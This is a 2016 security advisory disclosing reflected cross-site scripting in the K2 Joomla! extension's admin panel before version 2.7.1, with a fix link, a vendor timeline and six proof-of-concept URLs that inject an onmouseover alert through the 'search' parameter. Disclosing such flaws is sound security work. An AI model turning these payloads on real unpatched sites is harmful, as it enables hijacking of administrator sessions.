what you don't know can hurt you

K2 Joomla! Extension Cross Site Scripting

K2 Joomla! Extension Cross Site Scripting
Posted Aug 4, 2016
Authored by Manuel Mancera

K2 Joomla! extension versions prior to 2.7.1 suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 0695695ad3aef9d0638fc9d1c05f5a2f

K2 Joomla! Extension Cross Site Scripting

Change Mirror Download
================================================================
K2 Joomla! Extension < 2.7.1 - Reflected Cross Site Scripting
================================================================

Information
--------------------
Name: K2 Joomla! Extension < 2.7.1 - Reflected Cross Site Scripting
Affected Software : K2
Affected Versions: < 2.7.1
Vendor Homepage : https://getk2.org/
http://extensions.joomla.org/extension/k2
Vulnerability Type : Reflected Cross Site Scripting
Severity : Medium
CVE: n/a


Product
--------------------
K2 is a Joomla! extension for content construction, so it allow edit the
content of the Joomla administration panel and the website.


Description
--------------------
The administrator panel of K2 suffers multiple reflected cross site
scripting. An attacker could trick to an administrator to click in a
malicious URL and steal his cookie or redirect to a malicious site to
generate new attack vectors (e.g. launch exploits against his browser).
This XSS just affects to administrators so the range of attacks is
limited but still is being a risk.


Source code fixed:
https://github.com/getk2/k2/commit/c78f929dd3fcd4c55ba614ef8e789b944c30dc8d


Proof of Concept
----------------
PoC:
http://localhost/administrator/index.php?option=com_k2&view=comments&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=categories&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=users&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=extrafields&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=items&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=tags&search="
onmouseover="alert(document.domain)"/>




Solution
--------------------
Update to the latest release (2.7.1).

More info:
https://getk2.org/blog/2571-k2-v271-released

https://vel.joomla.org/resolved/1858-k2-2-7-0-xss-cross-site-scripting


Advisory Timeline
--------------------

26/07/2016 - Informed to the Vendor about the issue.
26/07/2016 - Vendor answers me and try to persuade about that the XSS is
not a vulnerability. He said: "Just because you can run a piece of JS
somewhere doesn't mean it's a security issue." WTF
28/07/2016 - Informed to Joomla VEL about the issue.
29/07/2016 - Joomla VEL confirmed and wrote me that the vendor will fix it.
29/07/2016 - Vendor confirms me the vulnerability. LOL
04/08/2016 - Vendor fixed in the latest release.
04/08/2016 - Public disclosure.


Definitely, sometimes a full disclosure is better than a responsible
disclosure.



Credits & Authors
--------------------
Manuel Mancera (@sinkmanu)



Disclaimer
-------------------
All information is provided without warranty. The intent is to provide
information to secure infrastructure and/or systems, not to be able to
attack or damage. Therefore A2Secure shall not be liable for any
director indirect damages that might be caused by using this information.
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